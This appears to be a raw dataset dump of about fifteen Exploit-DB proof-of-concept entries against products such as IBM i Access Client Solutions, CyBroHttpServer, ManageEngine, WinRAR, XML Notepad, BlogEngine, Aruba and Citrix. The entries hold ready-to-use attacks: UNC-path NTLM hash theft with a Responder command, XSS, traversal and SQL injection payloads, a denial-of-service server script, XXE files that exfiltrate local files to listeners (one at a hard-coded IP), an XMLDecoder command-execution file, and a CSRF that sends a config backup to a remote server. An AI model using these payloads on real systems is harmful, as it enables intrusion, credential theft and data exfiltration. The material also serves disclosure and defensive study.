deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51817
Description: IBM i Access Client Solutions v1.1.2 - 1.1.4_ v1.1.4.3 - 1.1.9.4 - Remote Credential Theft
Type: remote
Platform: windows_x86-64
Date: 2024-02-26
Author: hyp3rlinx

Exploit:
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/IBMI_ACCESS_CLIENT_REMOTE_CREDENTIAL_THEFT_CVE-2024-22318.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     

[Vendor]
www.ibm.com

[Product]
IBM i Access Client Solutions

[Versions]
All

[Remediation/Fixes]
None

[Vulnerability Type]
Remote Credential Theft

[CVE Reference]
CVE-2024-22318


[Security Issue]
IBM i Access Client Solutions (ACS) is vulnerable to remote credential theft when NT LAN Manager (NTLM) is enabled on Windows workstations.
Attackers can create UNC capable paths within ACS 5250 display terminal configuration ".HOD" or ".WS" files to point to a hostile server.
If NTLM is enabled and the user opens an attacker supplied file the Windows operating system will try to authenticate using the current user's session.
The attacker controlled server could then capture the NTLM hash information to obtain the user's credentials.


[References]
https://www.ibm.com/support/pages/node/7116091


[Exploit/POC]
The client access .HOD File vulnerable parameters:

1) screenHistoryArchiveLocation=\\ATTACKER-SERVER\RemoteCredTheftP0c

[KeyRemapFile]
2) Filename= \\ATTACKER-SERVER\RemoteCredTheftP0c

Next, Kali Linux Responder.py to capture: Responder.py -I eth0 -A -vv

The client access legacy .WS File vulnerable parameters:
DefaultKeyboard= \\ATTACKER-SERVER\RemoteCredTheftP0c

Example, client access older .WS file

[Profile]
ID=WS
Version=9
[Telnet5250]
AssociatedPrinterStartMinimized=N
AssociatedPrinterTimeout=0
SSLClientAuthentication=Y
HostName=PWN
AssociatedPrinterClose=N
Security=CA400
CertSelection=AUTOSELECT
AutoReconnect=Y
[KeepAlive]
KeepAliveTimeOut=0
[Keyboard]
IBMDefaultKeyboard=N
DefaultKeyboard=\\ATTACKER-SERVER\RemoteCredTheftP0c
[Communication]
Link=telnet5250


[Network Access]
Remote


[Severity]
Medium


[Disclosure Timeline]
Vendor Notification:  December 14, 2023
Vendor Addresses Issue: February 7, 2024
February 8, 2024 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
Exploit-DB #45309
Description: Cybrotech CyBroHttpServer 1.0.3 - Cross-Site Scripting
Type: webapps
Platform: windows_x86-64
Date: 2018-08-30
Author: Emre ÖVÜNÇ

Exploit:
# Exploit Title: Cybrotech CyBroHttpServer 1.0.3 - Cross-Site Scripting
# Date: 2018-08-29
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: http://www.cybrotech.com/
# Software Link: http://www.cybrotech.com/wp-content/uploads/2016/11/CyBroHttpServer-v1.0.3.zip
# Version: v1.0.3
# Tested on: Windows 7 - 64-bit 
# CVE-2018-16134

# PoC
http://<host>/<script>alert('xss');</script>

GET <script>alert('xss');</script> HTTP/1.1
Host: 192.168.43.102:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:61.0) Gecko/20100101
Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Exploit-DB #45303
Description: Cybrotech CyBroHttpServer 1.0.3 - Directory Traversal
Type: webapps
Platform: windows_x86-64
Date: 2018-08-30
Author: Emre ÖVÜNÇ

Exploit:
# Exploit Title: Cybrotech CyBroHttpServer 1.0.3 - Directory Traversal
# Date: 2018-08-29
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: http://www.cybrotech.com/
# Software Link: http://www.cybrotech.com/wp-content/uploads/2016/11/CyBroHttpServer-v1.0.3.zip
# Version: v1.0.3
# Tested on: Windows
# CVE: CVE-2018-16133

# PoC
https://<host>\..\..\..\..\Windows\win.ini

# CVE-2018-16133
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-16133
https://github.com/EmreOvunc/CyBroHttpServer-v1.0.3-Directory-Traversal
https://emreovunc.com/blog/en/CyBroHttpServer-v.1.0.3-Directory-Traversal-3.png

GET \..\..\..\..\Windows\win.ini HTTP/1.1
Host: 192.168.43.102:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:61.0) Gecko/20100101
Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Exploit-DB #45256
Description: ManageEngine ADManager Plus 6.5.7 - Cross-Site Scripting
Type: webapps
Platform: windows_x86-64
Date: 2018-08-26
Author: Ismail Tasdelen

Exploit:
# Exploit Title: ManageEngine ADManager Plus 6.5.7 - Cross-Site Scripting
# Date: 2018-08-21 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.manageengine.com/
# Hardware Link : https://www.manageengine.com/products/ad-manager/
# Software : ZOHO Corp ManageEngine ADManager Plus
# Product Version:  6.5.7
# Vulernability Type : Cross-site Scripting
# Vulenrability : Stored XSS
# CVE : N/A

# Zoho ManageEngine ADManager Plus 6.5.7 allows XSS on the "Workflow Delegation" "Requesters" screen.

# HTTP Request Header :

Request URL: http://TARGET:8080/ADMPTechnicians.do?methodToCall=listTechnicianRows
Request Method: POST
Status Code: 200 OK
Remote Address: TARGET:8080
Referrer Policy: no-referrer-when-downgrade
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Connection: keep-alive
Content-Length: 320
Content-type: application/x-www-form-urlencoded;charset=UTF-8
Cookie: adscsrf=614ff642-779b-41aa-bff5-44370ad770c2; JSESSIONID=3CED[PII_REDACTED]35DD0EB05EE42E4972; JSESSIONIDSSO=3E6785DB8D6DFD46D6C729579E68418D
Host: TARGET:8080
Origin: http://TARGET:8080
Referer: http://TARGET:8080/Delegation.do?selectedTab=delegation&selectedTile=technicians
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
X-Requested-With: XMLHttpRequest

# HTTP Response Header :

Content-Length: 3753
Content-Type: text/html;charset=UTF-8
Date: Tue, 14 Aug 2018 10:14:32 GMT
Server: Apache-Coyote/1.1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1

# Query String Parameters :

methodToCall: listTechnicianRows

# Form Data :

params: {"startIndex":1,"range":10,"searchText":"\"><img src=x onerror=alert('TESTER')>","ascending":true,"isNavigation":false,"adminSelected":false,"isNewRange":false,"sortColumn":FULL_NAME,"typeFilters":"","domainFilters":"","viewType":defaultView}
adscsrf: 614ff642-779b-41aa-bff5-44370ad770c2
Exploit-DB #45500
Description: Rausoft ID.prove 2.95 - 'Username' SQL injection
Type: webapps
Platform: windows_x86-64
Date: 2018-09-27
Author: Ilya Timchenko

Exploit:
# Exploit Title: Rausoft ID.prove 2.95 - 'Username' SQL injection
# Google Dork: inurl:IdproveWebclient
# Date: 2018-09-26
# Exploit Author: Ilya Timchenko, Mercedes pay S.A.
# Vendor Homepage: https://www.idprove.de
# Software Link: https://www.idprove.de/english/index.php?option=com_content&view=article&id=17&Itemid=3
# Version: 2.95
# Tested on: Windows 2016
# CVE : N/A
# Description: An issue was discovered in Rausoft ID.prove 2.95. The login page with a field "Username" 
# https://<<FQDN>>/IdproveWebclient/Account/Login?ReturnUrl=%2fIdproveWebclient%2fEinzelsuche --data="__RequestVerificationToken=<<dynamic_token_value>>&Username=a&PasswordTemp=a"
# is vulnerable to the SQL injection via Microsoft SQL Server stacked queries in the Username POST parameter. 
# Hypothetically, an attacker can utilize master..xp_cmdshell for the further privilege elevation.

# SQLmap output:
# Parameter: #1* ((custom) POST)
# Type: stacked queries
# Title: Microsoft SQL Server/Sybase stacked queries (comment)

Payload: __RequestVerificationToken=<<dynamic_token_value>>&Username=a';WAITFOR DELAY '0:0:5'--&PasswordTemp=a
Exploit-DB #44375
Description: Systematic SitAware - NVG Denial of Service
Type: dos
Platform: xml
Date: 2018-03-30
Author: 2u53

Exploit:
# Exploit Title: SitAware NVG Denial of Service 
# Date: 03/31/2018
# Exploit Author: 2u53
# Vendor Homepage: https://systematic.com/defence/products/c2/sitaware/
# Version: 6.4 SP2
# Tested on: Windows Server 2012 R2
# CVE: CVE-2018-9115

# Remarks: PoC needs bottlypy:
# https://bottlepy.org/docs/dev/
# https://raw.githubusercontent.com/bootlepy/bottle/master/bottle.py

# Systematic's SitAware does not validate input from other sources suffenciently. Incoming information utilizing 
# the for example the NVG interface. The following PoC will freeze the Situational Layer of SitAware, which means
# that the Situational Picture is no more updated. Unfortunately the user can not notice until 
# he tries to work with the situational layer. 


#!/bin/python

from bottle import post, run, request, response

LHOST = 127.0.0.1 # Local IP which the NVG server should use
LPORT = 8080 # Local Port on which the NVG server should listen

GET_CAPABILITIES = '''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body>
<ns3:GetCapabilitiesResponse xmlns="http://purl.org/dc/elements/1.1/" xmlns:ns2="http://purl.org/dc/terms/" xmlns:ns3="http://tide.act.nato.int/schemas/2008/10/nvg" xmlns:ns4="http://tide.act.nato.int/wsdl/2009/nvg">
<ns4:nvg_capabilities version="1.5">
</ns4:nvg_capabilities>
</ns3:GetCapabilitiesResponse>
</soap:Body>
</soap:Envelope>'''

EVIL_NVG = '''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body>
<ns3:GetNvgResponse xmlns="http://purl.org/dc/elements/1.1/" xmlns:ns2="http://purl.org/dc/terms/" xmlns:ns3="http://tide.act.nato.int/schemas/2008/10/nvg" xmlns:ns4="http://tide.act.nato.int/wsdl/2009/nvg">
<ns4:nvg version="1.5" classification="NATO UNCLASSIFIED">
<ns4:multipoint points="-0.01,0.01 0.02,-0.02 0.01,0.01" symbol="2525b:GFTPZ---------X"
label="EVILOBJ"/>
</ns4:nvg>
</ns3:GetNvgResponse>
</soap:Body>
</soap:Envelope>'''

@post('/nvg')
def soap():
    action = dict(request.headers.items()).get('Soapaction')
    action = action.replace('"', '')
    print('Incoming connection')

    response.content_type = 'text/xml;charset=utf-8'

    if action.endswith('nvg/GetCapabilities'):
        print('Sending capabilities to victim'...)
        return GET_CAPABILITIES
        print('Done! Waiting for NVG request...')
    elif action.endswith('nvg/GetNvg'):
        print('Sending evil NVG')
        return EVIL_NVG
        print('Done!')
    else
        print('Invalid request received')

run(host=LHOST, port=LPORT)
Exploit-DB #47945
Description: Easy XML Editor 1.7.8 - XML External Entity Injection
Type: local
Platform: xml
Date: 2020-01-20
Author: Javier Olmedo

Exploit:
# Exploit Title: Easy XML Editor 1.7.8 - XML External Entity Injection
# Exploit Author: Javier Olmedo
# Date: 2018-11-21
# Vendor: Richard Wuerflein
# Software Link: https://www.edit-xml.com/Easy_XML_Editor.exe
# Affected Version: 1.7.8 and before
# Patched Version: unpatched
# Category: Local
# Platform: XML
# Tested on: Windows 10 Pro
# CWE: https://cwe.mitre.org/data/definitions/611.html
# CVE: 2019-19031
# References:
# https://hackpuntes.com/cve-2019-19031-easy-xml-editor-1-7-8-inyeccion-xml/
 
# 1. Technical Description
# Easy XML Editor version 1.7.8 and before are affected by XML External Entity Injection vulnerability
# through the malicious XML file. This allows a malicious user to read arbitrary files.
 
# 2. Proof Of Concept (PoC)
# 2.1 Start a webserver to receive the connection.

python -m SimpleHTTPServer 80

# 2.2 Upload the payload.dtd file to your web server.

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:80/?%file;'>">
%all;

# 2.3 Create a SECRET.TXT file with any content in desktop.

# 2.4 Open poc.xml

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "file:///C:\Users\<USER>\Desktop\secret.txt">
<!ENTITY % dtd SYSTEM "http://localhost:80/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 2.5 Your web server will receive a request with the contents of the secret.txt file

Serving HTTP on 0.0.0.0 port 8000 ...
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /payload.dtd HTTP/1.1" 200 -
192.168.100.23 - - [11/Nov/2019 08:23:52] "GET /?THIS%20IS%20A%20SECRET%20FILE HTTP/1.1" 200 -

# 3. Timeline
# 13, november 2019 - [RESEARCHER] Discover
# 13, november 2019 - [RESEARCHER] Report to vendor support
# 14, november 2019 - [DEVELOPER]  Unrecognized vulnerability
# 15, november 2019 - [RESEARCHER] Detailed vulnerability report
# 22, november 2019 - [RESEARCHER] Public disclosure

# 4. Disclaimer
# The information contained in this notice is provided without any guarantee of use or otherwise.
# The redistribution of this notice is explicitly permitted for insertion into vulnerability
# databases, provided that it is not modified and due credit is granted to the author.
# The author prohibits the malicious use of the information contained herein and accepts no responsibility.
# All content (c)
# Javier Olmedo
Exploit-DB #47896
Description: MSN Password Recovery 1.30 - XML External Entity Injection
Type: local
Platform: xml
Date: 2020-01-09
Author: ZwX

Exploit:
# Exploit Title: MSN Password Recovery 1.30 - XML External Entity Injection
# Exploit Author: ZwX
# Exploit Date: 2020-01-08
# Vendor Homepage : https://www.top-password.com/
# Software Link: https://www.top-password.com/download/MSNPRSetup.exe
# Tested on OS: Windows 10


[+] Exploit : (PoC)
===================
1) python -m SimpleHTTPServer 8000
2) Create file (.xml)
3) Create file Payload.dtd
4) Open the software MSN Password Recovery
5) Click the 'Help' button and a 'Msn Password Recovery' window opens
6) Click the 'Favorites' tab and add in Path Current the path of your file (.XML) Ex : file:///C:/Users/ZwX/Desktop/file.xml
7) Click the 'View' button
8) External Entity Injection Successful


[+] XXE.xml :
==============
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
<!ENTITY % dtd SYSTEM "http://localhost:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

[+] Payload.dtd :
=================
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:8000?%file;'>">
%all;


[+] Result Exploitation :
=========================
C:\>python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...
ZwX-PC - - [08/Jan/2020 20:32:36] "GET /payload.dtd HTTP/1.1" 200 -
ZwX-PC - - [08/Jan/2020 20:32:37] "GET /?;%20for%2016-bit%20app%20support[fonts][extensions][mci%20extensions][files][Mail]MAPI=1 HTTP/1.1" 200 -
Exploit-DB #39438
Description: Wieland wieplan 4.1 - Document Parsing Java Code Execution Using XMLDecoder
Type: local
Platform: xml
Date: 2016-02-10
Author: LiquidWorm

Exploit:
Wieland wieplan 4.1 Document Parsing Java Code Execution Using XMLDecoder


Vendor: Wieland Electric GmbH
Product web page: http://www.wieland-electric.com
Affected version: 4.1 (Build 9)

Summary: Your new software for the configuration
of Wieland terminal rails. wieplan enables you to
plan a complete terminal rail in a very simple way
and to then place an order with Wieland. The configured
terminal rail can be stored in DXF format and read
into a CAD tool for further processing. Due to the
intuitive user interface, the configuration of terminal
rails with wieplan is easy.

Desc: wieplan suffers from an arbitrary java code
execution when parsing WIE documents that uses XMLDecoder,
allowing system access to the affected machine. The
software is used to generate custom specification
order saved in .wie XML file that has to be sent
to the vendor offices to be processed.

Tested on: Microsoft Windows 7 Professional SP1 (EN)
           Microsoft Windows 7 Ultimate SP1 (EN)
           Java/1.8.0_73
           Java/1.6.0_62


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2016-5304
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5304.php


25.11.2016

---


<?xml version="1.0" encoding="UTF-8"?>
<java version="1.6.0_02" class="java.beans.XMLDecoder">
 <object class="java.lang.Runtime" method="getRuntime">
    <void method="exec">
        <string>c:\\windows\\system32\\calc.exe</string>
    </void>
 </object>
</java>
Exploit-DB #47526
Description: Winrar 5.80 - XML External Entity Injection
Type: local
Platform: xml
Date: 2019-10-21
Author: hyp3rlinx

Exploit:
# Exploit Title: winrar 5.80 - XML External Entity Injection
# Exploit Author: hyp3rlinx
# Vendor Homepage: https://win-rar.com/fileadmin/winrar-versions/winrar-x64-58b2.exe
# Version: 5.80
# Tested on: Microsoft Windows Version 10.0.18362.418 64bit

# POC

1- python -m SimpleHTTPServer (listens Port 8000)
2- open winrar or any file.rar
3- help
4- help topics
5- Drag the exploit to the window


html file

<htmlL>
<body>
<xml>
<?xml version="1.0"?>
<!DOCTYPE flavios [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8800/start.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>
</body>
</html>



==============================
start.dtd

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8800?%file;'>">
%all;
Exploit-DB #47606
Description: XML Notepad 2.8.0.4 - XML External Entity Injection
Type: local
Platform: xml
Date: 2019-11-11
Author: daejinoh

Exploit:
# Exploit Title: XML Notepad 2.8.0.4 - XML External Entity Injection
# Date: 2019-11-11
# Exploit Author: 8-Team / daejinoh
# Vendor Homepage:  https://www.microsoft.com/  
# Software Link:  https://github.com/microsoft/XmlNotepad  
# Version: XML Notepad 2.8.0.4
# Tested on: Windows 10 Pro
# CVE : N/A

# Step
1) File -> Open -> *.xml

# Exploit Code

1) Server(python 3.7) : python -m http.server
2) Poc.xml : 
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "C:\Windows\win.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

3) payload.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

  --------------------------------------------------------------------------------
Exploit-DB #37891
Description: Aruba Mobility Controller 6.4.2.8 - Multiple Vulnerabilities
Type: webapps
Platform: xml
Date: 2015-08-20
Author: Itzik Chen

Exploit:
# Title: Aruba Mobility Controller CSRF And XSS Vulnerabilities
# Date: 08/016/2015
# Author: Itzik Chen
# Product web page: http://www.arubanetworks.com
# Affected Version: 6.4.2.8
# Tested on: Aruba7240, Ver 6.2.4.8

 

Summary
================

Aruba Networks is an HP company, one of the leaders in enterprise Wi-Fi.
Arube Controller suffers from CSRF and XSS vulnerabilities.



Proof of Concept - CSRF
=========================

192.168.0.1 - Controller IP-Address
172.17.0.1 - Remote TFTP server 

<IMG width=1 height=1 SRC="https://192.168.0.1:4343/screens/cmnutil/copyLocalFileToTftpServerWeb.xml?flashbackup.tar.gz,172.17.0.1,flashbackup.tar.gz">

That will send the flashbackup configuration file to a remote TFTP server.



Proof of Concept - XSS
=========================

https://192.168.0.1:4343/screens/switch/switch_mon.html?mode=plog-custom&mode-title=test</td><img width=1 height=1 src=/images/logo-mobility-controller.gif onLOAD=alert(document.cookie)>
Exploit-DB #48422
Description: BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection
Type: webapps
Platform: xml
Date: 2020-05-05
Author: Daniel Martinez Adan

Exploit:
# Title: BlogEngine 3.3 - 'syndication.axd' XML External Entity Injection
# Author: Daniel Martinez Adan (aDoN90)
# Date: 2020-05-01
# Homepage: https://blogengine.io/
# Software Link: https://blogengine.io/support/download/
# Affected Versions: 3.3
# Vulnerability: XML External Entity (XXE OOB) Injection Vulnerability
# Severity: High
# Status: Fixed
# Author: Daniel Martinez Adan (aDoN90)
# CVSS Score (3.0): CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:H

Technical Details
--------------------

Url: http://websiteurl-blogengine3.3/syndication.axd
Parameter Name: apml
Parameter Type: GET

*Attack Pattern 1 (SSRF HTTP Interaction) :*

http://websiteurl-blogengine3.3/syndication.axd?apml=http://hav4zt9bu9ihxzvcg59lqfapzg5it7.burpcollaborator.net

*Attack Pattern 2 (SSRF to XXE HTTP Interaction):*

http://b5baa301-b569-4bbf-afd9-d2eb264fdcbf.gdsdemo.com/blog/syndication.axd?apml=http://attackerip:8000/miau.txt

miau.txt

-----------------------------
  <!DOCTYPE foo SYSTEM "
">http://dgx2pxtwxkvgvkubo7ksvkywtnzhn6.burpcollaborator.net">
<http://dgx2pxtwxkvgvkubo7ksvkywtnzhn6.burpcollaborator.net>
-----------------------------
[image: image.png]

*Attack Pattern 3 (SSRF to XXE Exfiltration):*

miau.txt

-----------------------------

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://37.187.112.19:8000/test1.dtd">

%sp;
%param1;
%exfil;
]>
-----------------------------
test1.dtd

-----------------------------

<!ENTITY % data SYSTEM "file:///c:/windows/win.ini">
<!ENTITY % param1 "<!ENTITY &#x25; exfil SYSTEM '
http://y76a7hgbrccuyclwxwcp3br74yayyn.burpcollaborator.net/?%data;'>">

-----------------------------
Exploit-DB #36441
Description: Citrix Command Center - Credential Disclosure
Type: webapps
Platform: xml
Date: 2015-03-19
Author: Han Sahin

Exploit:
Abstract


It was discovered that Citrix Command Center stores configuration files containing credentials of managed devices within a folder accessible through the web server. Unauthenticated attackers can download any configuration file stored in this folder, decode passwords stored in these files, and gain privileged access to devices managed by Command Center.

Tested version


This issue was discovered in Citrix Command Center 5.1 build 33.3 (including patch CC_SP_5.2_40_1.exe), other versions may also be vulnerable.

Fix


Citrix reports that this vulnerability is fixed in Command Center 5.2 build 42.7, which can be downloaded from the following location (login required).
https://www.citrix.com/downloads/command-center/product-software/command-center-52-427.html

Citrix assigned BUG0493933 to this issue.

Introduction


Citrix Command Center is a management and monitoring solution for Citrix application networking products. Command Center enables network administrators and operations teams to manage, monitor, and troubleshoot the entire global application delivery infrastructure from a single, unified console.

Citrix Command Center stores configuration files containing credentials of managed devices within a folder accessible through the web server. No access control is enforced on this folder, an unauthenticated attacker can download any configuration file stored in this folder.

Details


Configuration files can be downloaded from the conf web folder. Below is an example of a configuration file that can be obtained this way.

https://<target>:8443/conf/securitydbData.xml

This files contains encoded passwords, for example:

<DATA ownername="NULL" [CREDENTIAL_REDACTED]" username="root"/>


These passwords can be decoded trivially. The algorithm used can be found in the JAR file NmsServerClasses.jar. For example the encoded password C70A0eE9os9T2z decodes to SECURIFY123. The credentials stored in these files can than be used to gain privileged access to devices managed by Command Center.